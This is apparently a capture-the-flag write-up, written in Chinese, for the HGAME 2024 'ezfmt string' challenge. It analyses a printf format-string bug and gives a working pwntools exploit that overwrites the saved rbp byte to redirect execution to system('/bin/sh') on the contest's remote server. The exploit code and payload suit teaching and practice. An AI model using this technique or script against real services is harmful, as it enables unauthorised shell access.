【2024 hgame week1】ezfmt string wp
https://hgame.vidar.club/contest/1
¶1.代码分析
¶checksec
没开PIE和RELRO保护,故got表可写,且不需要考虑泄露地址。
¶IDA反汇编
运行逻辑也很简单,main函数调用vuln函数,在vuln函数中,先读入最多0x50个字节到栈中,调用strchr函数检查字符串中是否包含’p’和’s’,若不包含则直接printf。
同时,程序中存在调用system(‘/bin/sh’)的地方。
vuln函数内容如下
unsigned __int64 vuln()
{
__int64 buf[4]; // [rsp+0h] [rbp-80h] BYREF
char s[88]; // [rsp+20h] [rbp-60h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
strcpy((char *)buf, "make strings and getshell\n");
write(0, buf, 0x1BuLL);
read(0, s, 0x50uLL);
if ( !strchr(s, 'p') && !strchr(s, 's') )
printf(s);
return __readfsqword(0x28u) ^ v3;
}
很明显,需要构造payload进行格式化字符串漏洞的利用
¶gdb调试
先查看一下栈分布的情况,查找可利用的地址。
read前:
可以发现,[rsp+60h]处存放着此时rbp所指向的地址,自然而然便可以通过此处修改[rbp-0h]的值,使得调用
pop rbp
ret
或
leave
ret
时执行到奇怪的位置,即改变程序执行流。
¶2.利用漏洞
整理一下目前拥有的情报:
- 程序执行0x401241时即可system(“/bin/sh”),且该地址可以写到栈中
- 通过格式化字符串漏洞能够实现pop rbp到附近的位置。
由此,思路就很明了了,构造的payload需要将0x401241写入栈中(假设为a处),并且以1/16的概率(rsp末地址为10时)正确修改[rbp-0h]的值为a-0x8。即
pld1=b"%"+b"56"+b"c%18$hhn "+p64(0x401241)
read后栈分布情况如下:
printf后栈分布情况如下:
若rsp最低位为10h即可成功ret到sys函数中(本文图例非成功情况,别问为什么没放成功情况的图,绝对不是凹不出来orz)
¶3.全部代码
from pwn import *
context.log_level='debug'
opt=1
if opt :
io=remote("47.100.137.175",30008)
else :
io=gdb.debug("./vuln","b vuln")
sys_addr=0x401241
pld1=b"%"+b"56"+b"c%18$hhn "+p64(0x401241)
io.recvuntil(b"M3?\n")
pause()
io.send(pld1)
#canary=io.recvuntil(b' ')
#print(hex(int(canary.decode())))
#pause()
io.interactive()